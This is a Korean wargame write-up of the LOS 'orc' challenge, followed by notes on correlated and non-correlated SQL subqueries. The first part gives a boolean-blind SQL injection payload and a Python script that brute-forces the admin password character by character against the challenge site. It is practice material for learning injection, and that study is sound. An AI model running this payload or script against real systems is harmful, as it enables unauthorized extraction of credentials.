LOS orc 문제 분석 & SQL 서브쿼리 정리
목적
- LOS(Level‑0X)
orc
문제의 취약점 구조와 공략 과정을 기록합니다.- SQL 서브쿼리―특히 상관(Correlated) / 비상관(Non‑correlated) 서브쿼리를 비교·정리합니다.
1. orc
문제 개요
항목 | 내용 |
---|---|
문제 유형 | Boolean‑based Blind SQL Injection |
핵심 코드 | pw 파라미터가 그대로 쿼리에 삽입 |
차단 필터 | preg_match('/prob|_|\.|\(\)/i', $_GET['pw']) → 함수, 괄호, 밑줄, 점 차단 |
// 필터 후 첫 번째 쿼리
$query = "SELECT id FROM prob_orc
WHERE id='admin' AND pw='{$_GET['pw']}'";
// addslashes() 이후 두 번째 쿼리
$_GET['pw'] = addslashes($_GET['pw']);
$query = "SELECT pw FROM prob_orc
WHERE id='admin' AND pw='{$_GET['pw']}'";
1‑1. 취약점 포인트
- 블라인드 판단 – “Hello admin” 문구로 참·거짓만 식별
- addslashes() – 최종 단계에서 실제 PW 정확히 일치해야 함
1-2. 공략 루틴 (ascii + substr)
단계 | 목적 | 예시 페이로드 | 기대 응답 |
---|---|---|---|
길이 구하기 | LENGTH(pw)=n |
' OR id='admin' AND length(pw)=8 -- |
맞으면 “Hello admin” |
1‑3. 자동화 스크립트 스케치 (Python)
import re, urllib, urllib2
pw=""
ssid = "자신의 세션 아이디"
print("find pw")
for i in range(1, 9): # pw의 길이만큼 반복
for j in range(48, 123): # 0~9, a-z, A-Z까지의 ASCII 코드
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=1%27%20or%20id=%27admin%27"
url += "%20and%20ascii(substr(pw,"+str(i)+",1))="+str(j)+"--%20"
req=urllib2.Request(url) # send request
req.add_header('Cookie',"PHPSESSID=%s" % ssid)
read = urllib2.urlopen(req).read()
if "Hello admin" in read:
pw += chr(j)
print ("pw: " + pw)
break
print ("Fin")
2. SQL 서브쿼리 한‑눈 정리
2‑1. 서브쿼리란?
쿼리 내부에서 실행되어 결과를 즉석 테이블처럼 넘겨주는
SELECT
문.
-- 비상관 서브 쿼리는 독립적으로 실행됩니다.
-- 예시를 들어 만약 테이블 두 개가 있다고 했을 때
-- (students(학생 데이터), scores(시험 점수))
SELECT name
FROM students
WHERE id = (
SELECT student_id
FROM scores
WHERE score = 90
);
-- 대충 이런 쿼리가 있다고 했을 때 외부의 값을 참조하지 않습니다. 하지만 상관 서브 쿼리는
SELECT name
FROM students s
WHERE EXISTS (
SELECT *
FROM scores sc
WHERE sc.student_id = s.id AND sc.score >= 90
);
-- 다음과 같이 s라는 alias를 선언해서 바깥 쿼리의 값을 사용합니다.